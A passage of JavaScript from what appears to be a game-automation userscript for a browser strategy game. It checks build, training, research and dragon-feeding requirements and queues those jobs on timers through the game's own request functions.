						/*
						 * we change the type of build Garrison to TrainingCamp
						 * in case of outpost city
						 */
						else if (city_idx != CAPITAL.id && type == 'Garrison') fixed_type = 'TrainingCamp';
						var fixed_city_idx = (/Science|Metal|Officer|Rookery|Storage|Theater|Sentinel|Factory|Fortress/.test(fixed_type) ? CAPITAL.id : city_idx);
						var level = Buildings.getLevel(fixed_city_idx, fixed_type);
						if (level.max < requirements.buildings[type]) {
							if (!reqs.buildings) reqs.buildings = {};
							reqs.buildings[fixed_type] = requirements.buildings[type];
							reqs.msg = (reqs.msg || '') + translate(fixed_type) + '(' + reqs.buildings[fixed_type] + ')' + ' + ';
						}
					}
				}

				/* Check Items requirements */
				if (requirements.items) {
					for (var type in requirements.items) {
						var need = requirements.items[type] * unit_quantity;
						var have = toNum(Seed.player.items[type] || 0);
						if (have < need) {
							if (!reqs.items) reqs.items = {};
							reqs.items[type] = need - have;
							reqs.msg = (reqs.msg || '') + translate(type) + '(' + numf(reqs.items[type], ' ') + ')' + ' + ';
						}
						/*
						 * If we are verifying unit requirements, calculate the
						 * maximum units
						 */
						if (reqs.max_units) {
							var current_max = toNum(have / requirements.items[type]);
							if (reqs.max_units > current_max) reqs.max_units = current_max;
						}
					}
				}

				/* Check Population requirements */
				if (requirements.population && requirements.population.idle) {
					var need = requirements.population.idle * unit_quantity;
					var have = city.figures.population.current - city.figures.population.laborers - city.figures.population.armed_forces;
					have = (have > 0) ? have : 0;
					if (have < need) {
						reqs.population = need - have;
						reqs.msg = (reqs.msg || '') + translate('Population') + ':' + numf(reqs.population, ' ') + ' + ';
					}
					/*
					 * If we are verifying unit requirements, calculate the
					 * maximum units
					 */
					if (reqs.max_units) {
						var current_max = toNum((have + 1) / requirements.population.idle);
						if (reqs.max_units > current_max) reqs.max_units = current_max;
					}
				}

				/* Check Research requirements */
				if (requirements.research) {
					for (var type in requirements.research) {
						if (Seed.player.research[type] < requirements.research[type]) {
							if (!reqs.research) reqs.research = {};
							reqs.research[type] = requirements.research[type];
							reqs.msg = (reqs.msg || '') + translate(type) + '(' + reqs.research[type] + ')' + ' + ';
						}
					}
				}

				/* Check Resources requirements */
				if (requirements.resources) {
					for (var type in requirements.resources) {
						if (requirements.resources[type] == 0) continue;

						var need = requirements.resources[type] * unit_quantity;
						var have = toNum(city.resources[type] || 0);
						if (have < need) {
							if (!reqs.resources) reqs.resources = {};
							reqs.resources[type] = need - have;
							reqs.msg = (reqs.msg || '') + translate(type) + ':' + numf(reqs.resources[type], ' ') + ' + ';
						}
						/*
						 * If we are verifying unit requirements, calculate the
						 * maximum units
						 */
						if (reqs.max_units) {
							var current_max = toNum((have + 1) / requirements.resources[type]);
							if (reqs.max_units > current_max) reqs.max_units = current_max;
						}
					}
				}

				/* Check Units requirements */
				if (requirements.units) {
					for (var type in requirements.units) {
						var need = requirements.units[type] * unit_quantity;
						var have = toNum(city.units[type] || 0);
						if (have < need) {
							if (!reqs.units) reqs.units = {};
							reqs.units[type] = need - have;
							reqs.msg = (reqs.msg || '') + translate(type) + '(' + numf(reqs.units[type], ' ') + ')' + ' + ';
						}
						/*
						 * If we are verifying unit requirements, calculate the
						 * maximum units
						 */
						if (reqs.max_units) {
							var current_max = toNum(have / requirements.units[type]);
							if (reqs.max_units > current_max) reqs.max_units = current_max;
						}
					}
				}

				/* Set time needed for this units task based in quantity */
				if (reqs.max_units) reqs.time = toNum((options.unit_quantity || 0) * stats.time / speed_multiplier);
				if (reqs.msg) reqs.msg = reqs.msg.substring(0, reqs.msg.length - 3);
				return reqs;
			},
			checkTrainReqs: function(troopType, troopQty, cityIdx) {
				var t = Tabs.Jobs;

				var reqs = t.checkRequirements({
					reqs_type: 'unit',
					city_idx: cityIdx,
					unit_type: troopType,
					unit_quantity: troopQty
				});
				/* Check Remaining Queue */
				if (t.getRemainingQueue(cityIdx, 'units', false) == 0) reqs.queue = true;

				/* Check Units Cap */
				var capped = t.getTroopCap(troopType, troopQty);
				if (capped) {
					reqs.capped = capped;
					reqs.msg = translate('Production limit reached') + ' + ';
				}
				if (t.contentType == 1) {
					if (reqs.msg) {
						try {
							document.getElementById(UID['tabJobTrain_FB_' + cityIdx + '_' + troopType]).innerHTML = '<font color="#C33">' + reqs.msg.replace(/:\+/, ':').replace(/\+\s*$/, '') + '</font>';
							document.getElementById(UID['tabJobTrain_FB_' + cityIdx + '_' + troopType]).title = translate(troopType) + ' ' + reqs.msg.replace(/\+/g, ' \n');
							document.getElementById(UID['tabJobBuild_Cap_' + cityIdx + '_' + troopType]).style.color = "#C33";
						} catch (e) {}
					} else {
						try {
							var fb_text = translate('Max') + ' : ' + numf(reqs.max_units, ' ') + ' (' + timestrShort(reqs.time) + ')';
							document.getElementById(UID['tabJobTrain_FB_' + cityIdx + '_' + troopType]).innerHTML = fb_text;
							document.getElementById(UID['tabJobTrain_FB_' + cityIdx + '_' + troopType]).title = translate(troopType) + ' \n' + fb_text;
						} catch (e) {}
					}
				}
				return reqs;
			},
			checkBuildReqs: function(cityIdx, buildingType) {
				var t = Tabs.Jobs;
				var level = (Buildings.getLevel(cityIdx, buildingType)).min + 1;
				var cap = t.getBuildingCap(cityIdx, buildingType);
				if (level <= cap) {
					var reqs = t.checkRequirements({
						reqs_type: 'building',
						city_idx: cityIdx,
						building_type: buildingType,
						level: level
					});

					if (reqs.msg) {
						if (t.contentType == 2) {
							try {
								document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).innerHTML = '<font color="#C33">' + reqs.msg.replace(/:\+/, ':').replace(/\+\s*$/, '') + '</font>';
								document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).title = translate(buildingType) + ' ' + reqs.msg.replace(/\+/g, ' \n');
								document.getElementById(UID['tabJobBuild_Cap_' + cityIdx + '_' + buildingType]).style.color = "#C33";
							} catch (e) {}
						}
					} else {
						if (t.contentType == 2) {
							try {
								var fb_text = translate('Next level') + ' ' + translate('OK');
								document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).innerHTML = fb_text;
								document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).title = translate(buildingType) + ' \n' + fb_text;
							} catch (e) {}
						}
					}
					return reqs;
				} else {
					if (t.contentType == 2) {
						try {
							var fb_text = translate('Task Completed');
							document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).innerHTML = '<font color=#0B0>' + fb_text + '</font>';
							document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + buildingType]).title = translate(buildingType) + ' \n' + fb_text;
							document.getElementById(UID['tabJobBuild_Cap_' + cityIdx + '_' + buildingType]).style.color = "#5B5";
						} catch (e) {}
					}
				}
				return ({
					capped: true,
					msg: translate('Maximum level reached')
				});
			},
			checkResearchReqs: function(researchType, cityIdx) {
				var t = Tabs.Jobs;
				var level = t.getCurrentResearchLevel(researchType) + 1;
				var cap = t.getResearchCap(researchType);
				if (level <= cap) {
					var reqs = t.checkRequirements({
						reqs_type: 'research',
						research_type: researchType,
						level: level,
						city_idx: (cityIdx || CAPITAL.id)
					});

					if (reqs.msg) {
						if (t.contentType == 3) {
							try {
								document.getElementById(UID['tabJobResearch_FB_' + researchType]).innerHTML = '<font color=#C33>' + reqs.msg.replace(/:\+/, ':').replace(/\+\s*$/, '') + '</font>';
								document.getElementById(UID['tabJobResearch_FB_' + researchType]).title = translate(researchType) + ' ' + reqs.msg.replace(/\+/g, ' \n');
								document.getElementById(UID['tabJobResearch_Sel_' + researchType]).style.color = "#C33";
							} catch (e) {}
						}
					} else {
						if (t.contentType == 3) {
							try {
								var fb_text = translate('Next level') + ' ' + translate('OK');
								document.getElementById(UID['tabJobResearch_FB_' + researchType]).innerHTML = fb_text;
								document.getElementById(UID['tabJobResearch_FB_' + researchType]).title = translate(researchType) + ' \n' + fb_text;
							} catch (e) {}
						}
					}
					return reqs;
				} else {
					if (t.contentType == 3) {
						try {
							var fb_text = translate('Task Completed');
							document.getElementById(UID['tabJobResearch_FB_' + researchType]).innerHTML = '<font color=#0B0>' + fb_text + '</font>';
							document.getElementById(UID['tabJobResearch_FB_' + researchType]).title = translate(researchType) + ' \n' + fb_text;
							document.getElementById(UID['tabJobResearch_Sel_' + researchType]).style.color = "#5B5";
						} catch (e) {}
					}
				}
				return ({
					capped: true,
					msg: translate('Maximum level reached')
				});
			},
			checkFeedingReqs: function(dragon_id) {
				var t = Tabs.Jobs;
				var dragon = Seed.sanctuary_dragons[dragon_id];
				var level = dragon.level + 1;
				var cap = (Data.options.sanctuary.feeding[dragon_id].cap || 0);
				if (level <= cap) {
					var reqs = t.checkRequirements({
						reqs_type: 'dragon',
						sanctuary_type: 'feeding',
						level: level,
						city_idx: CAPITAL.id
					});

					if (reqs.msg) {
						if (t.contentType == 5 && t.sanctContentType == 2) {
							try {
								document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).innerHTML = '<font color=#C33>' + reqs.msg.replace(/:\+/, ':').replace(/\+\s*$/, '') + '</font>';
								document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).title = translate(translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons')) + ' ' + reqs.msg.replace(/\+/g, ' \n');
								document.getElementById(UID['tabJobFeeding_Sel_' + dragon_id]).style.color = "#C33";
							} catch (e) {}
						}
					} else {
						if (t.contentType == 5 && t.sanctContentType == 2) {
							try {
								var fb_text = translate('Next level') + ' ' + translate('OK');
								document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).innerHTML = fb_text;
								document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).title = translate(translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons')) + ' \n' + fb_text;
							} catch (e) {}
						}
					}
					return reqs;
				} else {
					if (t.contentType == 5 && t.sanctContentType == 2) {
						try {
							var fb_text = translate('Task Completed');
							document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).innerHTML = '<font color=#0B0>' + fb_text + '</font>';
							document.getElementById(UID['tabJobFeeding_FB_' + dragon_id]).title = translate(translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons')) + ' \n' + fb_text;
							document.getElementById(UID['tabJobFeeding_Sel_' + dragon_id]).style.color = "#5B5";
						} catch (e) {}
					}
				}
				return ({
					capped: true,
					msg: translate('Maximum level reached')
				});
			},
			checkResurrectReqs: function(troopType, troopQty) {
				var t = Tabs.Jobs;
				if (t.contentType == 3) {
					try {
						document.getElementById(UID['tabJobResurrect_FB_' + id_found]).innerHTML = '';
						document.getElementById(UID['tabJobResurrect_Troop_' + id_found]).style.backgroundColor = "none";
					} catch (e) {}
				}
				
				var blue_energy = 0;
				var darkPortalLevel = 0;
				var city = Seed.cities[CAPITAL.id];
				try {
					var seedReqs = Seed.requirements.resurrect[troopType];
					var statReqs = Seed.stats.resurrect[troopType];
					blue_energy = troopQty * seedReqs.resources['blue_energy'];
					darkPortalLevel = seedReqs.buildings['DarkPortal'];
				} catch (e) {
					actionLog('<B>' + translate('Training') + '</B>: ' + e.msg + ' ' + translate('Manifest not available, using defaults'));
				}

				var m = '';
				var n = ' : ';
				var ret = {
					trainable: false,
					msg: []
				};

				/* Returns zero or the building level */
				if (city.resources.blue_energy < blue_energy) m += translate('Blue energy') + ': ' + (blue_energy - city.resources.blue_energy) + ' + ';
				var availableSouls = city.souls[troopType];
				availableSouls = (availableSouls > 0) ? availableSouls : 0;
				if (availableSouls == 0) m += translate('Souls') + ' + '; /* availableSouls < troopQty */
				if (t.getBuildingLevel(SPECTRAL_OUTPOST.id, 'DarkPortal', darkPortalLevel) == 0) m += translate('DarkPortal') + ': ' + darkPortalLevel + ' + ';
				if (t.getRemainingQueue(SPECTRAL_OUTPOST.id, 'resurrection', true) == 0) m += translate('Resurrection queue') + ' ';
				if (m.length == 0) {
					ret.trainable = true;
					ret.msg = troopQty + ' ' + translate(troopType);
				} else {
					ret.trainable = false;
					ret.msg = n + m;
				}

				var id_found = undefined;
				for (var i = 0; i < all_unit_types.length && id_found == undefined; i++) {
					if (all_unit_types[i] == troopType) id_found = i;
				}
				if (ret.trainable == false) {
					if (t.contentType == 4) {
						try {
							document.getElementById(UID['tabJobResurrect_FB_' + id_found]).innerHTML = '<font color=#C33>' + ret.msg.replace(/:\+/, ':').replace(/\+\s*$/, '') + '</font>';
							document.getElementById(UID['tabJobResurrect_FB_' + id_found]).title = translate(all_unit_types[id_found]) + ' ' + ret.msg.replace(/\+/g, ' \n');
							document.getElementById(UID['tabJobResurrect_Troop_' + id_found]).style.backgroundColor = "#C33";
						} catch (e) {}
					}
				} else {
					/* Calculate speed_multiplier for the revival based on dark portals of the spectral ruins */
					var speed_multiplier = 0;
					if (Seed.cities[SPECTRAL_OUTPOST.id]) {
						for (var j = 0; j < Seed.cities[SPECTRAL_OUTPOST.id].buildings.length; j++) {
							if (Seed.cities[SPECTRAL_OUTPOST.id].buildings[j].type == 'DarkPortal')
								speed_multiplier += (1 + (Seed.cities[SPECTRAL_OUTPOST.id].buildings[j].level - 1) / 10);
						}
					}
					var time = toNum(troopQty * statReqs.time * (15 / 100) / speed_multiplier);
					if (t.contentType == 4) {
						try {
							var fb_text = translate('Revival allowed') + ' : ' + translate('OK') + ' (' + timestrShort(time) + ')';
							document.getElementById(UID['tabJobResurrect_FB_' + id_found]).innerHTML = fb_text;
							document.getElementById(UID['tabJobResurrect_FB_' + id_found]).title = translate(all_unit_types[id_found]) + ' \n' + fb_text;
						} catch (e) {}
					}
				}
				return ret;
			},

			trainTick: function() {
				var t = Tabs.Jobs;
				var doRecheck = true;

				if (!Data.options.training.enabled) return;
				clearTimeout(t.trainTimer);
				/*  If a refresh of the capital city data is enqueued or running, then skip everything.
			troops will be queued for training after the refresh completed */
				if (Seed.refresh_cities[CAPITAL.id])
					doRecheck = false;
				else
					doRecheck = true;

				var options = {
					noPlayer: true
				};
				var cityList = getTotTrainTable();
				/*logit('getTotTrainTable ='+inspectObj(cityList,8,1));*/
				/* For all cities, sorted by training queues total time, in ascending order (we deal with the city that will complete its queues first) */
				for (var x = 0; x < cityList.length && doRecheck; x++) {
					var trainQueued = false;
					var cityIdx = cityList[x].cityIdx;
					if (cityIdx != undefined && !isNaN(cityIdx) && cityIdx >= 0 && cityIdx < Seed.cities.length && cityIdx != SPECTRAL_OUTPOST.id &&
						cityIdx != SKY_OUTPOST.id && Data.options.training.city[cityIdx].enabled) {
						/* Only check the job queue if we are in short queue mode */
						logit('Trying to train in ' + Seed.cities[cityIdx].name);
						if (t.selectedQ == 'min_housing') {
							if ((Jobs.getJobs('units', true, cityIdx)).length == 0)
								trainQueued = t.attemptTrainQ(cityIdx, 0, all_unit_types.length, true);
						} else {
							trainQueued = t.attemptTrainQ(cityIdx, 0, all_unit_types.length, false);
						}
						if (trainQueued) {
							doRecheck = false; /* Troops have been queued.  */
						} else {
							if (!options.cities) options.cities = [];
							options.cities.push(Seed.cities[cityIdx].id);
						}
					}
				}

				t.trainTimer = setTimeout(t.trainTick, Math.randRange(5000, 10000));
			},
			buildTick: function() {
				var t = Tabs.Jobs;

				if (!Data.options.building.enabled) return;
				clearTimeout(t.buildTimer);

				var recheck_build = false;
				var options = {
					noPlayer: true,
					cities: []
				};
				/* Iterate over the cities for buildings in each */
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						var bJob = Jobs.getJobs('building', true, cityIdx);
						var city = Seed.cities[cityIdx];
						var cityId = city.id;

						if (bJob.length == 0) { /* city not currently building */
							var buildOrder = [];
							var buildList = [];
							/* Reset the last building level */
							if (t.last_built[cityId]) Buildings.setLevel(cityId, t.last_built[cityId].id, t.last_built[cityId].level);

							for (var name in Data.options.building.level_enable[cityIdx]) {
								if (Data.options.building.level_enable[cityIdx][name]) {
									buildList = Buildings.getList(cityIdx, name);
									buildList.sort(function(a, b) {
										return a.level - b.level
									});
									buildOrder = buildOrder.concat(buildList);
								}
							}
							buildOrder.sort(function(a, b) {
								return a.level - b.level
							});
							/* Change: we want to iterate over each buildings comparing the level to the cap. If the cap has not been reached, call doBuild */
							var bBuilt = false;
							var bBuildable = false;
							var totalCapped = 0;
							for (var i = 0; i < buildOrder.length && !bBuilt; i++) {
								var reqs = t.checkBuildReqs(cityIdx, buildOrder[i].type);
								if (reqs) {
									bBuildable = true;
									if (t.contentType == 2) t.jobFeedback(reqs.msg);
									if (!reqs.msg) {
										t.doBuild(buildOrder[i], city);
										bBuilt = true;
										return;
									} else {
										if (t.contentType == 2) t.jobFeedback(buildOrder[i].type + ' ' + reqs.msg);
										if (reqs.capped)++totalCapped;
									}
								}
							}
							if (!bBuilt && bBuildable && (buildOrder.length - totalCapped > 0))
								recheck_build = true;
						} else {
							/* We have a job running */
							var bType = getBuildingById(cityIdx, bJob[0].city_building_id);
							var msg = translate('Building') + ': ' + translate(bType) + ' ' + translate('Level').toLowerCase() + ' ' + bJob[0].level + ' ' + translate('at') + ' ' + translate(city.type);
							if (t.contentType == 2) t.jobFeedback(msg);
						}
					}
				}
				if (recheck_build) {
					/*Seed.fetchPlayer(options);*/
					t.buildRetryTime *= 1.5;
					if (t.contentType == 2) t.jobFeedback(translate('Completion errors') + ': ' + translate('Retry in') + ' ' + timestr(t.buildRetryTime / 1000) + ' ' + translate('seconds'));
					t.buildTimer = setTimeout(t.buildTick, t.buildRetryTime);
					return;
				}
				t.buildTimer = setTimeout(t.buildTick, Math.randRange(15000, 25000));
			},
			feedingTick: function() {
				var t = Tabs.Jobs;
				if (!Data.options.sanctuary.enabled) return;
				clearTimeout(t.sanctuaryTimer);
				var recheck_feeding = false;
				var fBuilt = false;
				var fJob = Jobs.getJobs('feeding', true, CAPITAL.id);
				if (fJob.length == 0) {
					var toFeed = 0;
					for (var id in Data.options.sanctuary.feeding) {
						if (Data.options.sanctuary.feeding[id].enable) {
							var dragon = Seed.sanctuary_dragons[id];
							var level = dragon.level;
							var reqs = t.checkFeedingReqs(id);
							if (reqs) {
								if (!reqs.msg) {
									t.doFeeding(id, level);
									fBuilt = true;
									break;
								} else {
									if (t.contentType == 5) t.jobFeedback(translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons') + ' ' + reqs.msg);
									++toFeed;
								}
							}
							if (fBuilt === false && toFeed)
								recheck_feeding = true;
						}
					}
				}
				if (recheck_feeding) {
					t.sanctuaryTimer = setTimeout(t.feedingTick, t.feedRetryTime);
					if (t.contentType == 5) t.jobFeedback(translate('Completion errors') + ': ' + translate('Retry in') + ' ' + timestr(t.feedRetryTime / 1000) + ' ' + translate('seconds'));
					t.feedRetryTime *= 1.5;
					return;
				}
				t.sanctuaryTimer = setTimeout(t.feedingTick, 5000);
			},
			missionForgeTick: function() {
				var t = Tabs.Jobs;
				if(!Data.options.forge.enableAutoMission) return;
				var advs = Seed.player.forge.adventurers;
				
				for(var i=0;i<advs.length;i++) {
					if(Data.options.forge[advs[i].type].cbAuto) {
						var inMission=(Jobs.getJobs(Forge.data.adventurers[advs[i].type].queue, false, -1).length > 0 ? true : false); 
						var isClaimable=(inMission ? false : (advs[i].current_mission == null ? false : true));	
						
						if(isClaimable) {
							t.doClaim(advs[i].current_mission, advs[i].adventurer_id);
						}
						else if ((!inMission && !isClaimable)) {
							var missionTaken = false;
							for(var ii in Data.options.forge) {
								if(ii != advs[i].type) {
									if(Data.options.forge[ii].mission == Data.options.forge[advs[i].type].mission) {
										t.jobFeedback('Mission ('+translate(missionType.replace(/_/g, '-')) + ') alreay taken by another adventurer ! Canceling Mission.');
										missionTaken = true;
									}
								}
							}
							if(!missionTaken) {
								t.doMission(Data.options.forge[advs[i].type].mission, advs[i].adventurer_id);
							}
						}
					}
				}
			},
			researchTick: function() {
				var t = Tabs.Jobs;

				if (!Data.options.research.enabled) return;
				clearTimeout(t.researchTimer);

				function isInProgress(research) {
					var jobs = Jobs.getJobs('research', false, -1),
						found = false;
					for (var j = 0; j < jobs.length && !found; j++) {
						if (jobs[j].research_type == research) found = true;
					}
					return (found);
				}
				var recheck_research = false;
				var options = {
					noPlayer: true,
					cities: []
				};
				var rBuilt = false;
				/* Iterate over the cities for research in each */
				for (var cityIdx = 0; cityIdx < Seed.cities.length && !rBuilt; ++cityIdx) {
					if (!Data.options.Rcheat_enabled && cityIdx != CAPITAL.id) continue;
					if (Seed.cities[cityIdx] && cityIdx != undefined && !isNaN(cityIdx) && cityIdx >= 0 && cityIdx < Seed.cities.length && cityIdx != SPECTRAL_OUTPOST.id &&
						cityIdx != SKY_OUTPOST.id && cityIdx != CAVE_OUTPOST.id && cityIdx != LUNA_OUTPOST.id && cityIdx != COLOSSUS_OUTPOST.id && Seed.cities[cityIdx].figures.queue_lengths && Seed.cities[cityIdx].figures.queue_lengths['research']) {
						var rJob = Jobs.getJobs('research', true, cityIdx);
						var city = Seed.cities[cityIdx];
						var cityId = city.id;

						if (rJob.length == 0) {
							var toResearch = 0;
							for (var id = 0 ; id < Seed.research.length ; id++) {
								var resName = Seed.research[id];
								if (Data.options.research.res_enable[0][resName] == undefined) continue;
								if (Data.options.research.res_enable[0][resName] == true && !isInProgress(resName)) {
									var level = t.getCurrentResearchLevel(resName) + 1;
									var reqs = t.checkResearchReqs(resName, cityIdx);
									if (reqs) {
										if (!reqs.msg) {
											t.doResearch(cityIdx, resName, level);
											rBuilt = true;
											break;
										} else {
											if (t.contentType == 3) t.jobFeedback(resName + ' ' + reqs.msg);
											++toResearch;
										}
									}
								}
							}
							if (rBuilt === false && toResearch)
								recheck_research = true;
						}
					}
				}
				if (recheck_research) {
					/*Seed.fetchPlayer({cities:[cityId]});*/
					t.researchTimer = setTimeout(t.researchTick, t.resRetryTime);
					if (t.contentType == 3) t.jobFeedback(translate('Completion errors') + ': ' + translate('Retry in') + ' ' + timestr(t.resRetryTime / 1000) + ' ' + translate('seconds'));
					t.resRetryTime *= 1.5;
					return;
				}
				t.researchTimer = setTimeout(t.researchTick, 5000);
			},
			resurrectTick: function() {
				var t = Tabs.Jobs;

				if (!Data.options.resurrect.enabled) return;
				clearTimeout(t.resurrectTimer);
				var recheck_reseurrect = false;
				var sJob = Jobs.getJobs('resurrection', true, CAPITAL.id);
				var city = Seed.cities[SPECTRAL_OUTPOST.id];
				var cityId = city.id;

				if (sJob.length == 0) {
					var toResurrect = 0;
					for (var unit = 0; unit < all_unit_types.length; unit++) {
						if (Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[unit]] == undefined)
							continue;
						if (Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[unit]] == true) {
							var currentSouls = Seed.cities[CAPITAL.id].souls[all_unit_types[unit]];
							if (!currentSouls || isNaN(currentSouls)) currentSouls = 0;
							var currentMax = Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[unit]];
							var checkQty = (currentSouls > currentMax) ? currentMax : currentSouls;
							var reqs = t.checkResurrectReqs(all_unit_types[unit], checkQty);
							var rRevive = false;
							if (reqs) {
								if (reqs.trainable) {
									t.doResurrect(all_unit_types[unit], checkQty);
									rRevive = true;
									break;
								} else {
									if (t.contentType == 4) t.jobFeedback(all_unit_types[unit] + ' ' + reqs.msg);
									++toResurrect;
								}
							}
						} else {
							try {
								document.getElementById(UID['tabJobResurrect_FB_' + unit]).innerHTML = '';
								document.getElementById(UID['tabJobResurrect_Troop_' + unit]).style.backgroundColor = "none";
							} catch (e) {}
						}
					}
					if (rRevive === false && toResurrect)
						recheck_reseurrect = true;
				}
				if (recheck_reseurrect) {
					Seed.fetchPlayer({
						cities: [cityId]
					});
					t.resurrectTimer = setTimeout(t.resurrectTick, t.revRetryTime);
					if (t.contentType == 4) t.jobFeedback(translate('Completion errors') + ': ' + translate('Retry in') + ' ' + timestr(t.revRetryTime / 1000) + ' ' + translate('seconds'));
					t.revRetryTime *= 1.5;
				} else {
					t.resurrectTimer = setTimeout(t.resurrectTick, Math.randRange(15000, 20000));
				}
			},

			attemptTrainQ: function(cityIdx, count, troopsLength, shortQ) {
				var t = Tabs.Jobs;
				var troopQueued = false;

				/*if (Seed.cities[cityIdx])*/
				/*logit('Attempting troop training for '+Seed.cities[cityIdx].name+' - get Train Jobs = '+inspectObj(Jobs.getJobs('units', true, cityIdx))+', shortQ = '+shortQ);*/

				if (Seed.cities[cityIdx] && (((Jobs.getJobs('units', true, cityIdx)).length == 0 && shortQ) || !shortQ)) {
					/* Get the troop types and quantities to build */
					/*logit('Attempt troop training for '+cityIdx+', length units = '+Data.options.training.city[cityIdx].units.length);*/
					for (var j = Data.options.training.city[cityIdx].units.length - 1; j >= 0; j--) {
						/*for (var j in Data.options.training.city[cityIdx].units){*/
						var troopType = all_unit_types[j],
							troopQty = Data.options.training.city[cityIdx].units[j],
							cap = 0;
						if (cityIdx == SPECTRAL_OUTPOST.id || cityIdx == SKY_OUTPOST.id || !isTrainable(cityIdx, troopType)) troopQty = 0;
						/*logit('Troop '+troopType+', qty '+troopQty);*/
						if (troopQty > 0) {
							cap = t.getTroopCap(troopType, troopQty);
							/*logit('==> Test capped troop ? '+troopType+', qty = '+troopQty+', cap = '+cap);*/
							try {
								if (cap) {
									troopQty = 0;
									if (t.contentType == 1) t.jobFeedback(translate('Troops Capped'));
									document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor = "red";
								} else if (t.contentType == 1) {
									if (document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor == "red")
										document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor = "white";
								}
							} catch (e) {}
						}
						if (troopQty > 0) {
							var reqs = t.checkTrainReqs(troopType, troopQty, cityIdx);
							/*logit('==> Test troop reqs ? '+troopType+', qty = '+troopQty+', reqs = '+reqs.msg);*/
							if (!reqs.msg) {
								if (shortQ) {
									logit('==> Do Short train ' + troopType + ', qty = ' + troopQty + ' for ' + Seed.cities[cityIdx].name);
									t.doTrain(troopType, troopQty, cityIdx);
									troopQueued = true;
									break;
								} else {
									if (t.getRemainingQueue(cityIdx, 'units', false)) {
										logit('==> Do Long train ' + troopType + ', qty = ' + troopQty + ' for ' + Seed.cities[cityIdx].name);
										t.doTrain(troopType, troopQty, cityIdx);
										troopQueued = true;
										break;
									} else {
										/*logit('==> No avalable queue for train of '+troopType+', qty = '+troopQty+' for '+Seed.cities[cityIdx].name);*/
										break; /* Exit loop as no queue is available for this city */
									}
								}
							}
						} /*else logit('==> No quantity to train for '+troopType+', qty = '+troopQty+' for '+Seed.cities[cityIdx].name);*/
					}
				}
				return troopQueued;
			},
			doTrain: function(troopType, troopQty, cityIdx) {
				var t = Tabs.Jobs;
				var city = Seed.cities[cityIdx];
				var msg = translate('Training') + ': (' + numf(troopQty) + ') ' + translate(troopType) + ' ' + translate('at') + ' ' + ((city.type == 'Outpost') ? translate(city.name) : city.name);
				if (t.contentType == 1) t.jobFeedback(msg + ' (' + translate('UpKeep') + ' ' + (troopQty * Seed.stats.unit[troopType].upkeep.food) + ' ' + translate('Food') + ')');

				MyAjax.troopTraining(troopType, troopQty, city.id, function(rslt) {
					if (rslt.ok) {
						t.trainErrorCount = 0;
						actionLog(msg);
					} else {
						verboseLog('Error: Training: ' + rslt.errmsg);
						actionLog('<B>' + translate('Error') + ' ' + translate('Training') + '</B>: ' + rslt.errmsg);
						/*  The queue is frequently full, but we could be getting server errors (500) too
					Wait a couple of minutes */
						if (++t.trainErrorCount > 5) {
							if (t.contentType == 1) t.jobFeedback(translate('Too many errors, disabling auto training'));
							t.setTrainEnable(false);
							t.trainErrorCount = 0;
						} else {
							if (t.contentType == 1) t.jobFeedback(translate('Error') + ' ' + translate('Training') + ': ' + rslt.errmsg);
							t.trainRetryTime *= 1.5;
						}
					}
					/* Get the troops being built so the will be displayed */
					Seed.updateCity(rslt.dat.result.city);
					/* Get capital city to show new resources */
					if (rslt.dat.result.city.id !== Seed.cities[CAPITAL.id].id) {
						Seed.addToRefresh(Seed.cities[CAPITAL.id].id, false);
						/*Seed.fetchCity (Seed.cities[CAPITAL.id].id);*/
					}
					if (t.contentType == 1 && t.trainContentType == 0) t.tabJobTrainSets(); /* to refresh total time in city title bar */
				});
			},
			doBuild: function(building, city) {
				var t = Tabs.Jobs;
				var msg = '<B>' + translate('Building') + '</B>: ' + translate(building.type) + ' ' + translate('Level').toLowerCase() + ' ' + (building.level + 1) + ' ' + translate('at') + ' ' + translate(city.type);
				if (t.contentType == 2) t.jobFeedback(msg);

				MyAjax.buildingUpgrade(city.id, building.id, function(rslt) {
					if (rslt.ok) {
						t.buildErrorCount = 0;
						actionLog(msg);
						clearTimeout(t.buildTimer);
						t.buildTimer = setTimeout(t.buildTick, Math.randRange(15000, 25000));
						return;
					} else {
						Seed.fetchPlayer({
							cities: [city.id]
						});
						actionLog(building.type + ': ' + rslt.errmsg);
						if (++t.buildErrorCount > 3) {
							if (t.contentType == 2) t.jobFeedback(translate('Too many errors, disabling auto-build'));
							t.setBuildEnable(false);
							t.buildErrorCount = 0;
							return;
						}
						if (t.contentType == 2) t.jobFeedback(building.type + ': ' + rslt.errmsg);
						clearTimeout(t.buildTimer);
						t.buildTimer = setTimeout(t.buildTick, t.buildRetryTime);
						return;
					}
				});
			},
			doFeeding: function(dragon_id, dragon_level) {
				var t = Tabs.Jobs;
				var dragon = Seed.sanctuary_dragons[dragon_id];
				var msg = '<b>' + translate('upgrading-dragon') + ': </b> ' + translateByKey(dragon.subtype, 'rank-' + dragon.type, 'dragons') + ' (' + dragon_level + ') ';
				if (t.contentType == 5) t.jobFeedback(msg);
				MyAjax.dragonFeeding(dragon_id, function(rslt) {
					if (rslt.ok) {
						t.feedErrorCount = 0;
						actionLog(msg);
						return;
					} else {
						Seed.fetchPlayer({
							cities: [],
